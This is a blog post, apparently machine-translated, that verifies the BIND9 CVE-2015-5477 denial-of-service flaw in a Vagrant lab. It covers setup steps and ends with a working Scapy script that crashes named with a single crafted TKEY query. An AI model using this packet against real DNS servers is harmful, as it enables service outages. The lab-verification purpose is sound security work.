我尝试编写并验证了BIND9的漏洞(CVE-2015-5477)的PoC

BIND9被公开称为可受到DoS攻击的漏洞
– http://jprs.jp/tech/security/2015-07-08-bind9-vuln-dnssec-validation.html

由于严重性被标记为“严重”,所以我决定自己验证一下。
虽然PoC本身写得有些早,导致文章推迟发布,但正好在这期间出现了一篇易懂的文章,因此我会让那篇文章解释原理,而本文则会解释验证的方法。
我知道是否公开PoC也有争议,但因为已经在较长时间前公开过,所以我认为没有问题。

请提供以下的参考。

    • BINDのDOS脆弱性(CVE-2015-5477)についての調査と対策

 

    • BINDに存在するサービス拒否の脆弱性、Windows2000互換コードに原因

 

    DNSサーバ構築手順(ソースからBIND 9.10.1-P1をインストール + 内部向け権威DNSサーバ構築)

验证环境

    • BIND

9.10.1-P1

ホストOS

Mac OSX 10.10.4

ゲストOS

CentOS 6.5

Scapy

2.3.1

操作步骤首先,我们需要从源代码安装BIND。
基本上,我们会按照参考网站上的步骤进行安装,但会对不需要进行验证的部分或者无法运行的部分进行修正。

服务器建设这次我们使用了Vagrant来构建虚拟机进行验证。我认为只要BIND能运行就可以。

请使用Vagrant来构建虚拟机。我使用了适用于CentOS 6.5的box。
只要能通过vagrant ssh登录即可。

$ vagrant box add centos65-x86_64 https://github.com/2creatives/vagrant-centos/releases/download/v6.5.3/centos65-x86_64-20140116.box
$ mkdir CVE-2015-5477
$ cd CVE-2015-5477
$ vagrant init centos65-x86_64
$ vagrant up 
$ vagrant ssh

安装必要的东西我会先安装一些必要的物品和有用的东西。

[vagrant@vagrant-centos65 ~]$ sudo su
[root@vagrant-centos65 vagrant]# cd
[root@vagrant-centos65 ~]# yum -y install openssl-devel perl-Net-DNS
[root@vagrant-centos65 ~]# yum -y install wget bind-utils vim

从源文件安装 BIND由于VM环境已经构建完成,现在我们将从源文件开始安装BIND。

下载源代码文件

[root@vagrant-centos65 ~]# cd /usr/local/src
[root@vagrant-centos65 src]# wget ftp://ftp.isc.org/isc/bind9/9.10.1-P1/bind-9.10.1-P1.tar.gz

将源文件解压缩

[root@vagrant-centos65 src]# tar zxvf bind-9.10.1-P1.tar.gz
[root@vagrant-centos65 src]# cd bind-9.10.1-P1

安装

[root@vagrant-centos65 bind-9.10.1-P1]# ./configure --prefix=/var/named/chroot --enable-threads --with-openssl=yes --enable-openssl-version-check --enable-ipv6
[root@vagrant-centos65 bind-9.10.1-P1]# chown -R root:root /usr/local/src/bind-9.10.1-P1
[root@vagrant-centos65 bind-9.10.1-P1]# make
[root@vagrant-centos65 bind-9.10.1-P1]# make install

确认我们最后会确认安装是否成功。

[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/named -v
BIND 9.10.1-P1

只要显示了BIND的版本,就说明已经安装成功了。

BIND的配置现在我们要进行BIND的设置。

创建用户组创建bind用户和组。

[root@vagrant-centos65 bind-9.10.1-P1]# groupadd -g 25 bind
[root@vagrant-centos65 bind-9.10.1-P1]# useradd -u 25 -g bind -d /var/named -c "DNS BIND Named User" -s /sbin/nologin bind
useradd: warning: the home directory already exists.
Not copying any file from skel directory into it.

创建设备文件

[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/dev
[root@vagrant-centos65 bind-9.10.1-P1]# mknod -m 666 /var/named/chroot/dev/null c 1 3
[root@vagrant-centos65 bind-9.10.1-P1]# mknod -m 666 /var/named/chroot/dev/random c 1 8

创建rndc密钥

[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/rndc-confgen -a
wrote key file "/var/named/chroot/etc/rndc.key"

创建用于存储数据的目录。

[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/data
[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/var/log

创建named.conf文件
我计划以缓存服务器为目标进行验证,因为在这次漏洞中,内容服务器和缓存服务器都会受到影响。接下来将创建以下配置文件。我只会写入真正必要的最基本的内容。

[root@vagrant-centos65 bind-9.10.1-P1]# vi /var/named/chroot/etc/named.conf

Controls {
        inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
};

include "/etc/rndc.key";

acl "internal-network" {
        localhost;
        127.0.0.1/32;
        192.168.0.0/16;
};

options {
        version "unknown";
        hostname "ns1.test.example.com";

        directory "/var";
        dump-file "/data/cache_dump.db";
        statistics-file "/data/named_status.dat";
        pid-file "/var/run/named/named.pid";

        listen-on port 53 {
                internal-network;
        };

        allow-query { internal-network; };

        recursion yes;
        allow-recursion { internal-network; };

        notify yes;
        max-transfer-time-in 60;
        transfer-format many-answers;
        transfers-in 10;
        transfers-per-ns 2;
        allow-transfer { none; };

        allow-update { none; };
};

创建符号链接

[root@vagrant-centos65 bind-9.10.1-P1]# ln -s /var/named/chroot/etc/rndc.key /etc/rndc.key
[root@vagrant-centos65 bind-9.10.1-P1]# ln -s /var/named/chroot/etc/named.conf /etc/named.conf

创建名为 “named” 的文件

[root@vagrant-centos65 bind-9.10.1-P1]# vi /etc/sysconfig/named
ROOTDIR=/var/named/chroot
OPTIONS=-4

开始BIND由于已经完成BIND的安装,现在将启动它。

[root@vagrant-centos65 bind-9.10.1-P1]# /usr/local/sbin/named-checkconf /var/named/chroot/etc/named.conf
[root@vagrant-centos65 bind-9.10.1-P1]# chown -R bind:bind /var/named
[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind
bind      2345  1.0  2.2 141164 13428 ?        Ssl  14:35   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf

如果像上面所述的那样启动了named,就表示成功。
如果没有启动,请确认是否没有出现错误。

[root@vagrant-centos65 bind-9.10.1-P1]# less /var/log/messages
[root@vagrant-centos65 bind-9.10.1-P1]# less /var/named/chroot/var/log/alert.log
[root@vagrant-centos65 bind-9.10.1-P1]# less /var/named/chroot/var/log/named.log

脆弱性验证 (cui ruo xing yan zheng)由於BIND的安裝終於完成,我們將進行弱點驗證。
在這個弱點中,透過提出以下條件的DNS查詢,似乎可以進行拒絕服務攻擊。

    • クエリレコードのセクションのTypeにTKEYを指定する

 

    追加レコードのセクションは、クエリレコードと同じ名前を持つレコードを指定する(ただし、TKEY以外)

因此,本次我們打算使用Python的庫Scapy來生成滿足上述條件的封包。

更改桥接连接
这次我们将从主机操作系统向虚拟机操作系统投掷攻击数据包进行验证。
由于使用NAT会很麻烦,所以我们将编辑Vagrantfile并切换到桥接模式连接。

$ vim Vagrantfile
#以下の行をコメントインする
config.vm.network "public_network"

由于更改了Vagrantfile,因此需要重新启动。

$ vagrant reload
==> default: Attempting graceful shutdown of VM...
==> default: Clearing any previously set forwarded ports...
==> default: Fixed port collision for 22 => 2222. Now on port 2200.
==> default: Clearing any previously set network interfaces...
==> default: Available bridged network interfaces:
1) en0: Wi-Fi (AirPort)
2) en1: Thunderbolt 1
3) en2: Thunderbolt 2
4) bridge0
5) p2p0
6) awdl0
==> default: When choosing an interface, it is usually the one that is
==> default: being used to connect to the internet.
    default: Which interface should the network bridge to? 1
(以下略)

由于需要指定要连接的接口,所以会问你要连接到哪个接口(这次我想指定en0接口,所以选择1)。

安装Scapy由于主机操作系统是Mac,因此以后的操作将在Mac的终端上进行。
Scapy的安装方法可以通过搜索得到,但是我尝试了一下没有成功,所以我按照以下步骤进行了安装。

$ pip install dnet
$ pip install http://ncu.dl.sourceforge.net/project/pylibpcap/pylibpcap/0.6.4/pylibpcap-0.6.4.tar.gz
$ pip install scapy

我以为只需使用Scapy就能安装,但是由于缺少dnet等文件,无法顺利使用,所以我进行了安装。

创建数据包在Scapy中,提供了用于创建DNS数据包的类。
此外,还提供了用于创建查询记录(Query Record)部分和附加记录(Additional Record)部分的类,因此可以方便地生成攻击数据包。
本次我们将生成如下所示的DNS数据包。

    • クエリレコード

Name : example.com
Type : TKEY(249)

追加レコード

Name : example.com
Type : TXT(16)

通过这样做,可以满足最初所述的攻击数据包的条件。
然而,由于Scapy无法指定TKEY,所以直接使用数字进行了指定。
实际的代码如下所示。

#!/usr/bin/python
#coding:utf-8

import sys
from scapy.all import *

pkt = IP(dst=sys.argv[1]) / UDP(dport=53) / DNS(qd=DNSQR(qname="example.com", qtype=249, qclass='ANY'), rd=1, ad=1, ar=DNSRR(rrname="example.com", type='TXT', rclass='ANY', rdata='https://github.com/knqyf263/cve-2015-5477'))
sr1(pkt)

只需要这一个选项:如果将用于发送的sr1也写在同一行上,那几乎就是一个单行程序。
从命令行参数中接收攻击目标DNS服务器的IP地址,并向该服务器发送攻击数据包。
我已经将其上传到Github上了。
https://github.com/knqyf263/cve-2015-5477

执行攻击
首先,在CentOS上启动BIND,然后我们将进行实际的攻击。

[root@vagrant-centos65 vagrant]# /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind
bind      2428  0.5  2.2 141164 13480 ?        Ssl  15:17   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf

通过此次桥接连接,主机和客户端的IP地址如下所示。

マシンIPアドレスホスト(Mac)192.168.1.10ゲスト(CentOS)192.168.1.11现在我将在主机操作系统(Mac)上执行攻击代码并针对客户操作系统的BIND服务进行测试。

$ python tkill.py 192.168.1.11
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
...Finished to send 1 packets.
..................................................

攻击执行后,在CentOS客户操作系统上进行确认时,可以注意到BIND已经消失了。

[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind

我可以看出攻击成功了。
实际发送的查询如下所示。
我想您可能已经注意到了,查询记录和附加记录的Name都是example.com,但Type不同。

kobito.1439739060.736723.png这次,在/etc/named.conf的internal-network中包含了192.168.0.0/16,但即使不包含在内,也无法防止此次的漏洞。
据说是因为在确认ACL等之前的处理中崩溃了。
实际上,即使将localhost指定为internal-network,并拒绝来自192.168.0.0/16的数据包,仍然会崩溃。

总结我们发现在这次的漏洞中,非常容易通过发送一个数据包就可以使BIND服务器崩溃。
只需要有一个库,几乎可以通过一行命令就能够让其崩溃。
而且似乎即使没有对BIND进行特殊配置,它也会受到影响。
那些使用BIND的人应该尽快更新。

bannerAds